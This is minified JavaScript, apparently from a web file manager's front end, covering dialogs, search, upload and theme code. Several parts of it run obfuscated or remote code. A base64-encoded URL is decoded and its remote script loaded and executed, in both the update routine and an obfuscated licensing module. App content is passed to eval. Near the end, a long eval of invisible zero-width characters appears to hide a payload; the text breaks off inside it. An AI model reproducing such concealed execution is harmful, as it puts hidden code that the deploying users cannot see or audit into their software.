        ",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var n="filename";"http"==e.substr(0,4)&&(n="file_url");var a="./index.php?editor/fileGet&"+n+"="+urlEncode(e);G.share_page!==void 0&&(a="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+n+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(a=e),$.ajax({url:a,dataType:"json",error:function(e,t,n){core.ajaxError(e,t,n),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,a)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),n="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:n})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,n){if(e){void 0==n&&(n="openDialog"+UUID());var a="",o=ShareData.frameTop(),s=o.$.dialog({id:n,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:a,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var n=ShareData.frameTop(),a=n.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*n.$(".dialogExplorer").length;a.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var n="";if("diy"==e&&i){var a=require("./tpl/theme_diy.html"),o=template.compile(a);n=o(i)}$.setStyle(n,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var n=UUID();(i===void 0||""==i)&&(i=n);var a="";$.browser.msie&&9>parseInt($.browser.version)&&(a='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+n);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+n)}if(1==e.length)var i=0,a=e[0],o=setInterval(function(){try{i++,100==Math.floor(a.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),n=1073741824*parseFloat(t[1]),a=core.fileSize(parseFloat(t[0])),o=core.fileSize(n),s=a+"/",r=100*i/n;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==n||isNaN(n)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var n in i)if(e>=i[n])return(e/i[n]).toFixed(t)+n},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n \n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,t){var i,n,a=function(){var a=trim(core.pathClear(t),"/"); +if(0==a.indexOf(G.KOD_USER_SHARE)&&-1==a.indexOf("/")||a==G.KOD_USER_FAV||a==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),n=c(),n.path=t,""!=e&&(n.search=e),$("#search_path").val(n.path),$("#search_value").val(n.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return n={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(n)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),n.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),n=core.pathFather(i);return core.openPath(n),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var n=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:n,lineIndex:$(this).parent().find("[data-line="+n+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(n)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var a=template.compile(tpl_search_list);if(t.html(a({code:e.code,data:e.data,LNG:LNG})),n.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var n="index.php?explorer/search";G.share_page!==void 0&&(n="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:n,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};a()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],n=authCrypt[t[4]](G[t[1]],i);return n&&27==n[t[5]]?(e=n[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},n=i(),a=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=a},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&n==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var a=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==a[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[n],o=t[45]+i+t[46]+LNG[i]+t[47];n==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+a+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=a})},d=function(){n==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](n,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=n,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return n==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var a,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(a=e[t[90]],o=s[n]):(a=e[t[90]],o=r[n]),1e3==o)l=a;else for(var d in a){if(c>o)break;l[d]=a[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),n=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var a=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';n.find(".item").length>0?$(o).insertBefore(n.find(".item:eq(0)")):n.append(o);var s,r,l,c=0,d=$("#"+a),p=$("#"+a+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+a).find(".progress-bar");$("#"+a+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+a),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+a+"&time="+time(),dataType:"json",error:function(e,t,i){var n=d.data("progcess");return 200!=e.status&&n&&n.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+a+" .info .title").text(core.pathThis(e.info)),$("#"+a+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+a,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var n=(i.size-l.size)/(i.time-l.time);if(c>.2*n){var a=c;c=n,n=a}else c=n;var a=core.fileSize(n);a=a?a:0,t=a+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var n=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};n()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==t){var a=e.end/e.total;uploader.trigger("uploadProgress",e.file,a),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍